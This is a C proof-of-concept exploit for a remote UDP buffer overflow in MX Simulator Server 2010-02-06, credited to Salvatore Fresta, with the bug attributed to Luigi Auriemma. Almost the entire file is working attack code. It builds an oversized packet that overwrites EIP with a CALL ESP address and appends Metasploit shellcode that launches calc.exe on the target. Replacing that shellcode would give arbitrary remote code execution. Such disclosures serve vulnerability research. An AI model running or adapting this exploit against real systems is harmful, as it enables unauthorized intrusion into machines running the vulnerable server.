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/*
MX Simulator Server 2010-02-06 Remote Buffer Overflow PoC
This PoC will executes the calc.exe software on the remote
system.
The bug was discovered by Luigi Auriemma (www.aluigi.org)
Copyright 2010 Salvatore Fresta aka Drosophila
http://www.salvatorefresta.net/?opt=adv
http://www.salvatorefresta.net/files/poc/PoC-MXSimulatorServer2010-02-06.zip
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version
2 of the License, or (at your option) any later version.
This program is distributed in the hope that it will be
useful, but WITHOUT ANY WARRANTY; without even the implied
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General Public
License along with this program; if not, write to the Free
Software Foundation,Inc., 59 Temple Place, Suite 330, Boston,
MA 02111-1307 USA
http://www.gnu.org/licenses/gpl-2.0.txt
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define BUFFSZ 1024
#define PORT 19800
/*
* windows/exec - 511 bytes
* http://www.metasploit.com
* Encoder: x86/alpha_mixed
* EXITFUNC=process, CMD=calc.exe
*/
#define shellcode \
"\xb8\x9e\xef\xf3\x90\x31\xc9\xb1\x33\xd9\xc2\xd9\x74\x24\xf4" \
"\x5b\x31\x43\x0e\x83\xc3\x04\x03\xdd\xe5\x11\x65\x1d\x11\x5c" \
"\x86\xdd\xe2\x3f\x0e\x38\xd3\x6d\x74\x49\x46\xa2\xfe\x1f\x6b" \
"\x49\x52\x8b\xf8\x3f\x7b\xbc\x49\xf5\x5d\xf3\x4a\x3b\x62\x5f" \
"\x88\x5d\x1e\x9d\xdd\xbd\x1f\x6e\x10\xbf\x58\x92\xdb\xed\x31" \
"\xd9\x4e\x02\x35\x9f\x52\x23\x99\x94\xeb\x5b\x9c\x6a\x9f\xd1" \
"\x9f\xba\x30\x6d\xd7\x22\x3a\x29\xc8\x53\xef\x29\x34\x1a\x84" \
"\x9a\xce\x9d\x4c\xd3\x2f\xac\xb0\xb8\x11\x01\x3d\xc0\x56\xa5" \
"\xde\xb7\xac\xd6\x63\xc0\x76\xa5\xbf\x45\x6b\x0d\x4b\xfd\x4f" \
"\xac\x98\x98\x04\xa2\x55\xee\x43\xa6\x68\x23\xf8\xd2\xe1\xc2" \
"\x2f\x53\xb1\xe0\xeb\x38\x61\x88\xaa\xe4\xc4\xb5\xad\x40\xb8" \
"\x13\xa5\x62\xad\x22\xe4\xe8\x30\xa6\x92\x55\x32\xb8\x9c\xf5" \
"\x5b\x89\x17\x9a\x1c\x16\xf2\xdf\xd3\x5c\x5f\x49\x7c\x39\x35" \
"\xc8\xe1\xba\xe3\x0e\x1c\x39\x06\xee\xdb\x21\x63\xeb\xa0\xe5" \
"\x9f\x81\xb9\x83\x9f\x36\xb9\x81\xc3\xd9\x29\x49\x2a\x7c\xca" \
"\xe8\x32"
int send_recv(int sd, unsigned char *in, int insz, unsigned char *out, int outsz, struct sockaddr_in *peer, int err);
int timeout(int sock, int secs);
unsigned int resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len;
unsigned short port = PORT;
unsigned char buff[BUFFSZ],
*host = NULL,
pkg[] =
"\x03"
"\x00\x00\x00\x00" // slot
"\x00\x00\x00\x00" // session id
"\x00\x00\x00\x00" // admin pwd crc
"\x00\x00\x00\x00" // uid
"000000000000000000000000" // ???
"yz250f||||\n" // bike's model
"999\n" // bike's number
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"\xd8\x69\x83\x7c" // EIP - CALL ESP (FFD4)
shellcode;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc < 2) {
printf("\nMX Simulator Server 2010-02-06 Remote Buffer Overflow PoC - Salvatore Fresta\n"
"http://www.salvatorefresta.net\n"
"\n"
"Usage: %s <target host> <port> (default: %hu)\n"
"\n", argv[0], port);
return -1;
}
host = argv[1];
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(host);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("\n[*] Socket opening in progress...");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) {
printf("\n[-] Unable to open a socket!\n\n");
std_err();
}
printf("\n[+] Socket open successfully"
"\n[*] Data sending in progress...");
memset(buff, 0, 9);
len = send_recv(sd, buff, 9, buff, BUFFSZ, &peer, 1);
*(int *)(pkg + 1) = *(int *)(buff + 1);
*(int *)(pkg + 5) = *(int *)(buff + 5);
len = send_recv(sd, pkg, sizeof(pkg) - 1, buff, BUFFSZ, &peer, 0);
printf("\n[+] Data sent successfully"
"\n[+] Connection closed\n\n");
close(sd);
return 0;
}
int send_recv(int sd, unsigned char *in, int insz, unsigned char *out, int outsz, struct sockaddr_in *peer, int err) {
int retry,
len;
if(in && !out) {
fputc('.', stdout);
if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
< 0) std_err();
return(0);
}
if(in) {
for(retry = 2; retry; retry--) {
fputc('.', stdout);
if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in))
< 0) std_err();
if(!timeout(sd, 1)) break;
}
if(!retry) {
if(!err) return(-1);
printf("\nError: socket timeout, no reply received\n\n");
exit(1);
}
} else {
if(timeout(sd, 3) < 0) return(-1);
}
fputc('.', stdout);
len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0 && err) std_err();
return len;
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return 0;
}
unsigned int resolv(char *host) {
struct hostent *hp = NULL;
unsigned int host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(unsigned int *)hp->h_addr;
}
return host_ip;
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
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